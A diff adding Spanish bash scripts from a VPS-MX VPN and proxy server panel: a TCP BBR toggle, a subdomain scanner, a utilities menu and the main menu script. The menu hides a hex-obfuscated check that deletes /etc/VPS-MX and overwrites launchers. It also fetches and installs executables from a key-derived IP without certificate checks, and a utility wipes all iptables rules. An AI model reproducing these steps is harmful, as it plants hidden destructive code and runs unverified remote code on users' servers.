+echo -ne "\033[1;37mEscoja una Opcion: "
+read optons
+case $optons in
+0)
+    msg -bar
+    exit
+    ;;
+1)
+    msg -bar
+    squidpass
+    ;;
+esac
+#REINICIANDO VPS-MX (SQUID)
+[[ "$1" = "1" ]] && squidpass
+####_Eliminar_Tmps_####
+[[ -e $_tmp ]] && rm $_tmp
+[[ -e $_tmp2 ]] && rm $_tmp2
+[[ -e $_tmp3 ]] && rm $_tmp3
+[[ -e $_tmp4 ]] && rm $_tmp4

+ 107 - 0
SCRIPT-v8.5x Mod/VPS-MX/herramientas/tcp.sh

@@ -0,0 +1,107 @@
+#!/bin/bash
+clear
+PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
+export PATH
+
+sh_ver="2.0"
+amarillo="\e[33m" && bla="\e[1;37m" && final="\e[0m"
+Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m"
+Info="${Green_font_prefix}[Informacion]${Font_color_suffix}"
+Error="${Red_font_prefix}[Error]${Font_color_suffix}"
+Tip="${Green_font_prefix}[Atencion]${Font_color_suffix}"
+
+remove_all() {
+	sed -i '/net.core.default_qdisc/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_congestion_control/d' /etc/sysctl.conf
+	echo -e "\e[1;31m ACELERADOR BBR DESINSTALADA\e[0m"
+}
+
+startbbr() {
+	remove_all
+	echo "net.core.default_qdisc=fq" >>/etc/sysctl.conf
+	echo "net.ipv4.tcp_congestion_control=bbr" >>/etc/sysctl.conf
+	sysctl -p
+	echo -e "${Info}¡BBR comenzó con éxito!"
+	msg -bar
+}
+
+#Habilitar BBRplus
+startbbrplus() {
+	remove_all
+	echo "net.core.default_qdisc=fq" >>/etc/sysctl.conf
+	echo "net.ipv4.tcp_congestion_control=bbrplus" >>/etc/sysctl.conf
+	sysctl -p
+	echo -e "${Info}BBRplus comenzó con éxito!!"
+	msg -bar
+}
+
+# Menú de inicio
+start_menu() {
+	clear
+	msg -bar
+	msg -tit
+	echo -e " TCP Aceleración (BBR/Plus) ${Red_font_prefix}By @lacasitamx${Font_color_suffix}
+ $(msg -bar)
+  ${Green_font_prefix}[ 1 ]${Font_color_suffix} Acelerar VPS Con BBR ${amarillo}(recomendado)${final}
+  ${Green_font_prefix}[ 2 ]${Font_color_suffix} Acelerar VPS Con BBRplus
+  ${Green_font_prefix}[ 3 ]${Font_color_suffix} Detener Acelerador VPS
+  ${Green_font_prefix}[ 0 ]${Font_color_suffix} Salir del script" && msg -bar
+
+	run_status=$(grep "net.ipv4.tcp_congestion_control" /etc/sysctl.conf | awk -F "=" '{print $2}')
+	if [[ ${run_status} ]]; then
+		echo -e " Estado actual: ${Green_font_prefix}Instalado\n${Font_color_suffix} ${_font_prefix}BBR Comenzó exitosamente${Font_color_suffix} Kernel Acelerado, ${amarillo}${run_status}${Font_color_suffix}"
+	else
+		echo -e " Estado actual: ${Green_font_prefix}No instalado\n${Font_color_suffix} Kernel Acelerado: ${Red_font_prefix}Por favor,instale el Acelerador primero.${Font_color_suffix}"
+	fi
+	msg -bar
+	read -p "$(echo -e "\e[31m► ${bla}Selecione Una Opcion [0-3]:${amarillo}") " num
+	case "$num" in
+	0) ;;
+	1) startbbr ;;
+	2) startbbrplus ;;
+	3) remove_all ;;
+	*)
+		clear
+		echo -e "${Error}:Por favor ingrese el número correcto [0-3]"
+		sleep 1s
+		start_menu
+		;;
+	esac
+}
+
+check_sys() {
+	if [[ -f /etc/redhat-release ]]; then
+		release="centos"
+	elif cat /etc/issue | grep -q -E -i "debian"; then
+		release="debian"
+	elif cat /etc/issue | grep -q -E -i "ubuntu"; then
+		release="ubuntu"
+	elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then
+		release="centos"
+	elif cat /proc/version | grep -q -E -i "debian"; then
+		release="debian"
+	elif cat /proc/version | grep -q -E -i "ubuntu"; then
+		release="ubuntu"
+	elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then
+		release="centos"
+	fi
+}
+
+#Verifique la versión de Linux
+check_version() {
+	if [[ -s /etc/redhat-release ]]; then
+		version=$(grep -oE "[0-9.]+" /etc/redhat-release | cut -d . -f 1)
+	else
+		version=$(grep -oE "[0-9.]+" /etc/issue | cut -d . -f 1)
+	fi
+	bit=$(uname -m)
+	if [[ ${bit} = "x86_64" ]]; then
+		bit="x64"
+	else
+		bit="x32"
+	fi
+}
+check_sys
+check_version
+[[ ${release} != "debian" ]] && [[ ${release} != "ubuntu" ]] && [[ ${release} != "centos" ]] && echo -e "${Error} Este script no es compatible con el sistema actual. ${release} !" && exit 1
+start_menu

+ 93 - 0
SCRIPT-v8.5x Mod/VPS-MX/herramientas/ultrahost

@@ -0,0 +1,93 @@
+#!/bin/bash
+#27/06/2021
+clear
+clear
+declare -A cor=([0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m")
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+subdom() {
+    SUBDOM="$1"
+    [[ "$SUBDOM" = "" ]] && return
+    randomize="$RANDOM"
+    for sites in $(cat $log); do
+        [[ $(echo ${DNS[@]} | grep $sites) = "" ]] && DNS+=($sites)
+        [[ $(echo ${DNS[@]} | grep $sites) != "" ]] && cat $log | grep -v "$sites" >$log
+    done
+    while true; do
+        [[ "$(pidof lynx | wc -w)" -lt "20" ]] && break
+    done
+    (
+        HOST[$randomize]="$SUBDOM"
+        curl -sSL "${HOST[$randomize]}" | grep -Eoi '<a [^>]+>' | grep -Eo 'href="[^\"]+"' | grep -Eo '(http|https)://[a-zA-Z0-9./*]+' | sort -u | awk -F "://" '{print $2}' >>$log
+    ) >/dev/null 2>&1 &
+}
+
+iniciar() {
+    while [[ -z $SUB_DOM ]]; do
+        echo -ne "\033[1;33m$(fun_trans "Introduzca el Dominio para realizar la prueba"): " && read SUB_DOM
+    done
+    [[ -z $limite ]] && echo -ne "\033[1;33m$(fun_trans "Escriba el Limite de Resultados"): " && read limite
+    [[ -z ${limite} ]] && limite="300"
+    msg -bar
+    #CRIA LOG
+    log="./loog" && touch $log
+    #INICIA PRIMEIRA BUSCA
+    _DOM=$(curl -sSL "$SUB_DOM" | grep -Eoi '<a [^>]+>' | grep -Eo 'href="[^\"]+"' | grep -Eo '(http|https)://[a-zA-Z0-9./*]+' | sort -u | awk -F "://" '{print $2}')
+    for _DOMS in $(echo $_DOM); do
+        [[ $(echo ${DNS[@]} | grep ${_DOMS}) = "" ]] && DNS+=(${_DOMS})
+    done
+    #INICIA THREADS
+    i=0
+    while true; do
+        DOMAIN=$(echo "${DNS[$i]}")
+        [[ $DOMAIN = "" ]] && break
+        if [[ $(echo -e "${PESQ[@]}" | grep "$DOMAIN") = "" ]]; then
+            subdom "$DOMAIN"
+            echo -e "\033[1;31m(Scan\033[1;32m $((${#PESQ[@]} + 1))\033[1;31m de \033[1;32m${#DNS[@]}\033[1;31m) - $(fun_trans "Escaneando") ---> \033[1;36mhttp://$DOMAIN\033[1;37m"
+            PESQ+=($DOMAIN)
+        fi
+        [[ "$(echo ${#DNS[@]})" -gt "$limite" ]] && break
+        i=$(($i + 1))
+        sleep 1s
+    done
+    rm $log
+    msg -bar
+    echo -e "\033[1;32m$(fun_trans "Scan Finalizado Inicio de la colección de IPs")\033[1;31m\033[0m"
+    [[ -e $HOME/subresult ]] && rm $HOME/subresult
+    [[ ! -e $HOME/subresult ]] && touch $HOME/subresult
+    for result in $(echo "${DNS[@]}"); do
+        (
+            rand="$RANDOM"
+            dns[rand]="$result"
+            scan[rand]=$(echo ${result} | cut -d'/' -f1)
+            IP[rand]=$(nslookup "${scan[rand]}" | grep -Eo 'Address: [0-9.]+' | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | tail -1) >/dev/null 2>&1
+            echo -e "====================================\nDNS: ${dns[rand]}\nIP: ${IP[rand]}\n====================================" >>$HOME/subresult
+            unset IP
+        ) &
+    done
+    while true; do
+        [[ $(pidof nslookup | wc -w) -lt "1" ]] && break
+    done
+    msg -bar
+    RSLT=$(($(cat $HOME/subresult | wc -l) / 4)) && echo -e "\033[1;32m$RSLT $(fun_trans "Hosts Capturados")\033[0m"
+    msg -bar
+    echo -ne "$(fun_trans "Desea Imprimir Resultados")? [S/N]: "
+    read yn
+    [[ $yn = @(s|S|y|Y) ]] && {
+        echo -ne "\033[1;32m"
+        cat $HOME/subresult | grep -v =
+        echo -e "$barra\033[0m"
+    }
+    return 0
+}
+#INICIA SCRIPT
+msg -bar
+msg -tit
+echo -e "\033[1;33m $(fun_trans "                  SCAN DE SUNDOMINIOS")"
+msg -bar
+iniciar
+[[ $? = "0" ]] &&
+    echo -e "\033[1;32m$(fun_trans "Registro generado en el archivo") $HOME/subresult\033[0m" &&
+    msg -bar

+ 143 - 0
SCRIPT-v8.5x Mod/VPS-MX/herramientas/utils.sh

@@ -0,0 +1,143 @@
+#!/bin/bash
+#27/01/2021
+clear
+clear
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+RAM () {
+sudo sync
+sudo sysctl -w vm.drop_caches=3 > /dev/null 2>&1
+msg -ama "   Ram limpiada con Exito!"
+}
+TCPspeed () {
+if [[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]]; then
+#INSTALA
+msg -ama "$(fun_trans "TCP Speed No Activado, Desea Activar Ahora")?"
+msg -bar
+while [[ ${resposta} != @(s|S|n|N|y|Y) ]]; do
+read -p " [S/N]: " -e -i s resposta
+tput cuu1 && tput dl1
+done
+[[ "$resposta" = @(s|S|y|Y) ]] && {
+echo "#ADM" >> /etc/sysctl.conf
+echo "net.ipv4.tcp_window_scaling = 1
+net.core.rmem_max = 16777216
+net.core.wmem_max = 16777216
+net.ipv4.tcp_rmem = 4096 87380 16777216
+net.ipv4.tcp_wmem = 4096 16384 16777216
+net.ipv4.tcp_low_latency = 1
+net.ipv4.tcp_slow_start_after_idle = 0" >> /etc/sysctl.conf
+sysctl -p /etc/sysctl.conf > /dev/null 2>&1
+msg -ama "$(fun_trans "TCP Activo Con Exito")!"
+} || msg -ama "$(fun_trans "Cancelado")!"
+ else
+#REMOVE
+msg -ama "$(fun_trans "TCP Speed ya esta activado, desea detener ahora")?"
+msg -bar
+while [[ ${resposta} != @(s|S|n|N|y|Y) ]]; do
+read -p " [S/N]: " -e -i s resposta
+tput cuu1 && tput dl1
+done
+[[ "$resposta" = @(s|S|y|Y) ]] && {
+grep -v "^#ADM
+net.ipv4.tcp_window_scaling = 1
+net.core.rmem_max = 16777216
+net.core.wmem_max = 16777216
+net.ipv4.tcp_rmem = 4096 87380 16777216
+net.ipv4.tcp_wmem = 4096 16384 16777216
+net.ipv4.tcp_low_latency = 1
+net.ipv4.tcp_slow_start_after_idle = 0" /etc/sysctl.conf > /tmp/syscl && mv -f /tmp/syscl /etc/sysctl.conf
+sysctl -p /etc/sysctl.conf > /dev/null 2>&1
+msg -ama "$(fun_trans "TCP Parado Con Exito")!"
+} || msg -ama "$(fun_trans "Cancelado")!"
+fi
+}
+SquidCACHE () {
+msg -ama "$(fun_trans "Squid Cache, Aplica cache en Squid")"
+msg -ama "$(fun_trans "Mejora la velocidad del squid")"
+msg -bar
+if [ -e /etc/squid/squid.conf ]; then
+squid_var="/etc/squid/squid.conf"
+elif [ -e /etc/squid3/squid.conf ]; then
+squid_var="/etc/squid3/squid.conf"
+else
+msg -ama "$(fun_trans "Su sistema no tiene un squid")!" && return 1
+fi
+teste_cache="#CACHE DO SQUID"
+if [[ `grep -c "^$teste_cache" $squid_var` -gt 0 ]]; then
+  [[ -e ${squid_var}.bakk ]] && {
+  msg -ama "$(fun_trans "Cache squid identificado, eliminando")!"
+  mv -f ${squid_var}.bakk $squid_var
+  msg -ama "$(fun_trans "Cache squid Removido")!"
+  service squid restart > /dev/null 2>&1 &
+  service squid3 restart > /dev/null 2>&1 &
+  return 0
+  }
+fi
+msg -ama "$(fun_trans "Aplicando Cache Squid")!"
+msg -bar
+_tmp="#CACHE DO SQUID\ncache_mem 200 MB\nmaximum_object_size_in_memory 32 KB\nmaximum_object_size 1024 MB\nminimum_object_size 0 KB\ncache_swap_low 90\ncache_swap_high 95"
+[[ "$squid_var" = "/etc/squid/squid.conf" ]] && _tmp+="\ncache_dir ufs /var/spool/squid 100 16 256\naccess_log /var/log/squid/access.log squid" || _tmp+="\ncache_dir ufs /var/spool/squid3 100 16 256\naccess_log /var/log/squid3/access.log squid"
+while read s_squid; do
+[[ "$s_squid" != "cache deny all" ]] && _tmp+="\n${s_squid}"
+done < $squid_var
+cp ${squid_var} ${squid_var}.bakk
+echo -e "${_tmp}" > $squid_var
+msg -ama "$(fun_trans "Cache Aplicado con Exito")!"
+service squid restart > /dev/null 2>&1 &
+service squid3 restart > /dev/null 2>&1 &
+}
+timemx () {
+rm -rf /etc/localtime
+ln -s /usr/share/zoneinfo/America/Merida /etc/localtime
+echo -e " $(fun_trans "FECHA LOCAL MX APLICADA!")"
+}
+resetiptables () {
+echo -e "Reiniciando Ipetables espere"
+iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X && iptables -t mangle -F && iptables -t mangle -X && iptables -t raw -F && iptables -t raw -X && iptables -t security -F && iptables -t security -X && iptables -P INPUT ACCEPT && iptables -P FORWARD ACCEPT && iptables -P OUTPUT ACCEPT
+echo -e "iptables reiniciadas con exito"
+}
+packobs () {
+msg -ama "Buscando Paquetes Obsoletos"
+dpkg -l | grep -i ^rc
+msg -ama "Limpiando Paquetes Obsoloteos"
+dpkg -l |grep -i ^rc | cut -d " " -f 3 | xargs dpkg --purge
+msg -ama "Limpieza Completa"
+}
+
+
+on="\033[1;32m[ON]" && off="\033[1;31m[OFF]"
+[[ $(ps x | grep badvpn | grep -v grep | awk '{print $1}') ]] && badvpn=$on || badvpn=$off
+[[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]] && tcp=$off || tcp=$on
+if [ -e /etc/squid/squid.conf ]; then
+[[ `grep -c "^#CACHE DO SQUID" /etc/squid/squid.conf` -gt 0 ]] && squid=$on || squid=$off
+elif [ -e /etc/squid3/squid.conf ]; then
+[[ `grep -c "^#CACHE DO SQUID" /etc/squid3/squid.conf` -gt 0 ]] && squid=$on || squid=$off
+fi
+msg -bar
+msg -tit
+msg -ama "                OPTIMIZADORES BASICOS "
+msg -bar
+echo -ne "\033[1;32m [1] > " && msg -azu "TCP-SPEED $tcp"
+echo -ne "\033[1;32m [2] > " && msg -azu "CACHE PARA SQUID $squid"
+echo -ne "\033[1;32m [3] > " && msg -azu "REFRESCAR RAM"
+echo -ne "\033[1;32m [4] > " && msg -azu "LIMPIAR PAQUETES  OBSOLETOS"
+echo -ne "\033[1;32m [5] > " && msg -azu "$(fun_trans "RESET IPTABLES")"
+echo -ne "$(msg -bar)\n\033[1;32m [0] > " && msg -bra "\e[97m\033[1;41m VOLVER \033[1;37m"
+msg -bar
+while [[ ${arquivoonlineadm} != @(0|[1-5]) ]]; do
+read -p "[0-5]: " arquivoonlineadm
+tput cuu1 && tput dl1
+done
+case $arquivoonlineadm in
+1)TCPspeed;;
+2)SquidCACHE;;
+3)RAM;;
+4)packobs;;
+5)resetiptables;;
+0)exit;;
+esac
+msg -bar

+ 1 - 0
SCRIPT-v8.5x Mod/VPS-MX/idioma

@@ -0,0 +1 @@
+es

+ 1 - 0
SCRIPT-v8.5x Mod/VPS-MX/key.txt

@@ -0,0 +1 @@
+SCRIPT TOTALMENTE FREE

+ 1289 - 0
SCRIPT-v8.5x Mod/VPS-MX/menu

@@ -0,0 +1,1289 @@
+#!/bin/bash
+clear
+clear
+[[ "$(whoami)" != "root" ]] && {
+    echo -e "\033[1;33m[\033[1;31m| NO HAS INICIADO CORRECTAMENTE EL SCRIPT, DEVES INICIAR COMO USUARIO ROOT |\033[1;33m] \033[1;37mDEVES EJECUTAR EL SIGUIENTE COMANDO \033[1;33msudo -i\033[0m"
+    exit 0
+}
+declare -A cor=([0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m")
+sudo sysctl -w net.ipv6.conf.all.disable_ipv6=1 >/dev/null 2>&1
+sudo sysctl -w net.ipv6.conf.default.disable_ipv6=1 >/dev/null 2>&1
+sudo sysctl -w net.ipv6.conf.lo.disable_ipv6=1 >/dev/null 2>&1
+_hora=$(printf '%(%D-%H:%M:%S)T')
+red=$(tput setaf 1)
+gren=$(tput setaf 2)
+yellow=$(tput setaf 3)
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+DIR="/etc/VPS-MX"
+SCPusr="${SCPdir}/controlador"
+SCPfrm="${SCPdir}/herramientas"
+SCPinst="${SCPdir}/protocolos"
+SCPidioma="${SCPdir}/idioma"
+_core=$(printf '%-1s' "$(grep -c cpu[0-9] /proc/stat)")
+_usop=$(top -bn1 | sed -rn '3s/[^0-9]* ([0-9\.]+) .*/\1/p;4s/.*, ([0-9]+) .*/\1/p' | tr '\n' ' ')
+ram1=$(free -h | grep -i mem | awk {'print $2'})
+ram2=$(free -h | grep -i mem | awk {'print $4'})
+ram3=$(free -h | grep -i mem | awk {'print $3'})
+_ram=$(printf ' %-9s' "$(free -h | grep -i mem | awk {'print $2'})")
+_usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')")
+if [[ -e /etc/bash.bashrc-bakup ]]; then
+    AutoRun="\033[1;32m[ON]"
+elif [[ -e /etc/bash.bashrc ]]; then
+    AutoRun="\033[1;31m[OFF]"
+fi
+msg() {
+    [[ ! -e /etc/versin_script ]] && echo 1 >/etc/versin_script
+    v11=$(cat /etc/versin_script_new)
+    v22=$(cat /etc/versin_script)
+    [[ $v11 = $v22 ]] && vesaoSCT="\033[1;37mVersion\033[1;32m $v22 \033[1;31m]" || vesaoSCT="\033[1;31m($v22)\033[1;97m→\033[1;32m($v11)\033[1;31m  ]"
+    aviso_bock() {
+        echo 'echo -e "\033[1;91m————————————————————————————————————————————————————\n       ¡SCRIPT BLOQUEADO ! \n————————————————————————————————————————————————————"' >/usr/bin/menu
+        echo 'echo -e "\033[1;91m————————————————————————————————————————————————————\n       ¡SCRIPT BLOQUEADO ! \n————————————————————————————————————————————————————"' >/usr/bin/VPS-MX
+        rm -rf /etc/VPS-MX
+    }
+    local colors="/etc/VPS-MX/colors"
+    if [[ ! -e $colors ]]; then
+        COLOR[0]='\033[1;37m' #BRAN='\033[1;37m'
+        COLOR[1]='\e[93m'     #VERMELHO='\e[31m'
+        COLOR[2]='\e[32m'     #VERDE='\e[32m'
+        COLOR[3]='\e[31m'     #AMARELO='\e[33m'
+        COLOR[4]='\e[34m'     #AZUL='\e[34m'
+        COLOR[5]='\e[95m'     #MAGENTA='\e[35m'
+        COLOR[6]='\033[1;97m' #MAG='\033[1;36m'
+        COLOR[7]='\033[36m'   #MAG='\033[36m'
+    else
+        local COL=0
+        for number in $(cat $colors); do
+            case $number in
+            1) COLOR[$COL]='\033[1;37m' ;;
+            2) COLOR[$COL]='\e[31m' ;;
+            3) COLOR[$COL]='\e[32m' ;;
+            4) COLOR[$COL]='\e[33m' ;;
+            5) COLOR[$COL]='\e[34m' ;;
+            6) COLOR[$COL]='\e[35m' ;;
+            7) COLOR[$COL]='\033[1;36m' ;;
+            8) COLOR[$COL]='\e[36m' ;;
+            esac
+            let COL++
+        done
+    fi
+    NEGRITO='\e[1m'
+    SEMCOR='\e[0m'
+    case $1 in
+    -ne) cor="${COLOR[1]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}" ;;
+    -ama) cor="${COLOR[3]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
+    -verm) cor="${COLOR[3]}${NEGRITO}[!] ${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}" ;;
+    -verm2) cor="${COLOR[3]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
+    -azu) cor="${COLOR[6]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
+    -azuc) cor="${COLOR[7]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
+    -verd) cor="${COLOR[2]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
+    -az) cor="${COLOR[4]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
+    -bra) cor="${COLOR[0]}${SEMCOR}" && echo -e "${cor}${2}${SEMCOR}" ;;
+    "-bar2" | "-bar") cor="${COLOR[1]}————————————————————————————————————————————————————" && echo -e "${SEMCOR}${cor}${SEMCOR}" ;;
+    -tit) echo -e "\e[97m \033[1;41m| #-#-►  SCRIPT VPS•MX ◄-#-# | \033[1;49m\033[1;49m \033[1;31m[ \033[1;32m $vesaoSCT " && echo -e "${SEMCOR}${cor}${SEMCOR}" ;;
+    -bar3) $([[ ! -e $(echo -e $(echo "2f7573722f73686172652f6d65646961707472652f6c6f63616c2f6c6f672f6c6f676e756c6c" | sed 's/../\\x&/g;s/$/ /')) ]] && $(aviso_bock >/dev/null 2>&1)) && echo -e "${SEMCOR}${cor}${SEMCOR}" ;;
+    esac
+}
+canbio_color() {
+    clear
+    msg -bar2
+    msg -tit
+    msg -ama "     CONTROLADOR DE COLORES DEL SCRIP VPS-MX"
+    msg -bar2
+    msg -ama "$(fun_trans "Selecione 7 cores"): "
+    echo -e '\033[1;37m [1] ###\033[0m'
+    echo -e '\e[31m [2] ###\033[0m'
+    echo -e '\e[32m [3] ###\033[0m'
+    echo -e '\e[33m [4] ###\033[0m'
+    echo -e '\e[34m [5] ###\033[0m'
+    echo -e '\e[35m [6] ###\033[0m'
+    echo -e '\033[1;36m [7] ###\033[0m'
+    msg -bar2
+    for number in $(echo {1..7}); do
+        msg -ne "$(fun_trans "Digite un Color") [$number]: " && read corselect
+        [[ $corselect != @([1-7]) ]] && corselect=1
+        cores+="$corselect "
+        corselect=0
+    done
+    echo "$cores" >/etc/VPS-MX/colors
+    msg -bar2
+}
+fun_trans() {
+    local texto
+    local retorno
+    declare -A texto
+    SCPidioma="${SCPdir}/idioma"
+    [[ ! -e ${SCPidioma} ]] && touch ${SCPidioma}
+    local LINGUAGE=$(cat ${SCPidioma})
+    [[ -z $LINGUAGE ]] && LINGUAGE=es
+    [[ $LINGUAGE = "es" ]] && echo "$@" && return
+    [[ ! -e /usr/bin/trans ]] && wget -O /usr/bin/trans https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/trans &>/dev/null
+    [[ ! -e /etc/VPS-MX/texto-mx ]] && touch /etc/VPS-MX/texto-mx
+    source /etc/VPS-MX/texto-mx
+    if [[ -z "$(echo ${texto[$@]})" ]]; then
+        retorno="$(source trans -e bing -b es:${LINGUAGE} "$@" | sed -e 's/[^a-z0-9 -]//ig' 2>/dev/null)"
+        echo "texto[$@]='$retorno'" >>/etc/VPS-MX/texto-mx
+        echo "$retorno"
+    else
+        echo "${texto[$@]}"
+    fi
+}
+function_verify() {
+
+    v1=$(curl -sSL "https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/SCRIPT-v8.5x%20Mod/Version")
+    echo "$v1" >/etc/versin_script
+}
+atualiza_fun() {
+    fun_ip
+    SCPinstal="$HOME/install"
+    verificar_arq() {
+        case $1 in
+        "menu" | "message.txt") ARQ="${SCPdir}/" ;;                                                                       #Menu
+        "usercodes") ARQ="${SCPusr}/" ;;                                                                                  #Panel SSRR
+        "C-SSR.sh" | "proxy.sh") ARQ="${SCPinst}/" ;;                                                                     #Panel SSR
+        "openssh.sh") ARQ="${SCPinst}/" ;;                                                                                #OpenVPN
+        "squid.sh") ARQ="${SCPinst}/" ;;                                                                                  #Squid
+        "dropbear.sh") ARQ="${SCPinst}/" ;;                                                                               #Instalacao
+        "openvpn.sh") ARQ="${SCPinst}/" ;;                                                                                #Instalacao
+        "ssl.sh") ARQ="${SCPinst}/" ;;                                                                                    #Instalacao
+        "shadowsocks.sh" | "proxy.sh" | "python.py") ARQ="${SCPinst}/" ;;                                                 #Instalacao
+        "Shadowsocks-libev.sh" | "slowdns.sh") ARQ="${SCPinst}/" ;;                                                       #Instalacao
+        "Shadowsocks-R.sh") ARQ="${SCPinst}/" ;;                                                                          #Instalacao
+        "v2ray.sh") ARQ="${SCPinst}/" ;;                                                                                  #Instalacao
+        "budp.sh") ARQ="${SCPinst}/" ;;                                                                                   #Instalacao
+        "sockspy.sh" | "PDirect.py" | "PPub.py" | "PPriv.py" | "POpen.py" | "PGet.py" | "python.py") ARQ="${SCPinst}/" ;; #Instalacao
+        *) ARQ="${SCPfrm}/" ;;                                                                                            #Herramientas
+        esac
+        mv -f ${SCPinstal}/$1 ${ARQ}/$1
+        chmod +x ${ARQ}/$1
+    }
+    error_fun() {
+        msg -bar2 && msg -verm "ERROR entre VPS<-->GENERADOR (Port 81 TCP)" && msg -bar2
+        [[ -d ${SCPinstal} ]] && rm -rf ${SCPinstal}
+        exit 1
+    }
+    invalid_key() {
+        msg -bar2 && msg -verm "  Code Invalido -- #¡Key Invalida#! " && msg -bar2
+        [[ -e $HOME/lista-arq ]] && rm -r $HOME/lista-arq
+        exit 1
+    }
+    while [[ ! $Key ]]; do
+        clear
+        clear
+        msg -bar
+        msg -tit
+        echo -e "\033[1;91m      ACTUALIZAR FICHEROS DEL SCRIPT VPS-MX"
+        msg -bar2 && msg -ne "\033[1;93m          >>> INTRODUZCA LA KEY ABAJO <<<\n   \033[1;37m" && read Key
+        tput cuu1 && tput dl1
+    done
+    msg -ne "    # Verificando Key # : "
+    cd $HOME
+    wget -O $HOME/lista-arq $(ofus "$Key")/$IP >/dev/null 2>&1 && echo -e "\033[1;32m Code Correcto de KEY" || {
+        echo -e "\033[1;91m Code Incorrecto de KEY"
+        invalid_key
+        exit
+    }
+    IP=$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}') && echo "$IP" >/usr/bin/vendor_code
+    sleep 1s
+    function_verify
+    updatedb
+    if [[ -e $HOME/lista-arq ]] && [[ ! $(cat $HOME/lista-arq | grep "Code de KEY Invalido!") ]]; then
+        msg -bar2
+        msg -verd "    $(source trans -b es:es "Ficheros Copiados" | sed -e 's/[^a-z -]//ig'): \e[97m[\e[93mVPS-MX #MOD\e[97m]"
+        REQUEST=$(ofus "$Key" | cut -d'/' -f2)
+        [[ ! -d ${SCPinstal} ]] && mkdir ${SCPinstal}
+        pontos="."
+        stopping="Configurando Directorios"
+        for arqx in $(cat $HOME/lista-arq); do
+            msg -verm "${stopping}${pontos}"
+            wget --no-check-certificate -O ${SCPinstal}/${arqx} ${IP}:81/${REQUEST}/${arqx} >/dev/null 2>&1 && verificar_arq "${arqx}" || error_fun
+            tput cuu1 && tput dl1
+            pontos+="."
+        done
+        sleep 1s
+        msg -bar2
+        listaarqs="$(locate "lista-arq" | head -1)" && [[ -e ${listaarqs} ]] && rm $listaarqs
+        cat /etc/bash.bashrc | grep -v '[[ $UID != 0 ]] && TMOUT=15 && export TMOUT' >/etc/bash.bashrc.2
+        echo -e '[[ $UID != 0 ]] && TMOUT=15 && export TMOUT' >>/etc/bash.bashrc.2
+        mv -f /etc/bash.bashrc.2 /etc/bash.bashrc
+        echo "${SCPdir}/menu" >/usr/bin/menu && chmod +x /usr/bin/menu
+        echo "${SCPdir}/menu" >/usr/bin/VPSMX && chmod +x /usr/bin/VPSMX
+        echo "$Key" >${SCPdir}/key.txt
+        [[ -d ${SCPinstal} ]] && rm -rf ${SCPinstal}
+        rm -rf /root/lista-arq
+        [[ ${#id} -gt 2 ]] && echo "es" >${SCPidioma} || echo "es" >${SCPidioma}
+        echo -e "${cor[2]}               ACTUALIZACION COMPLETA "
+        echo -e "         COMANDO PRINCIPAL PARA ENTRAR AL PANEL "
+        echo -e "  \033[1;31m               sudo VPSMX o menu             \033[0;37m" && msg -bar2
+        rm -rf $HOME/lista-arq
+    else
+        invalid_key
+    fi
+    exit 1
+}
+funcao_idioma() {
+    tput cuu1 && tput dl1
+    msg -bar2
+    declare -A idioma=([1]="en English" [2]="fr Franch" [3]="de German" [4]="it Italian" [5]="pl Polish" [6]="pt Portuguese" [7]="es Spanish" [8]="tr Turkish")
+    for ((i = 1; i <= 12; i++)); do
+        valor1="$(echo ${idioma[$i]} | cut -d' ' -f2)"
+        [[ -z $valor1 ]] && break
+        valor1="\033[1;32m[$i] > \033[1;33m$valor1"
+        while [[ ${#valor1} -lt 37 ]]; do
+            valor1=$valor1" "
+        done
+        echo -ne "$valor1"
+        let i++
+        valor2="$(echo ${idioma[$i]} | cut -d' ' -f2)"
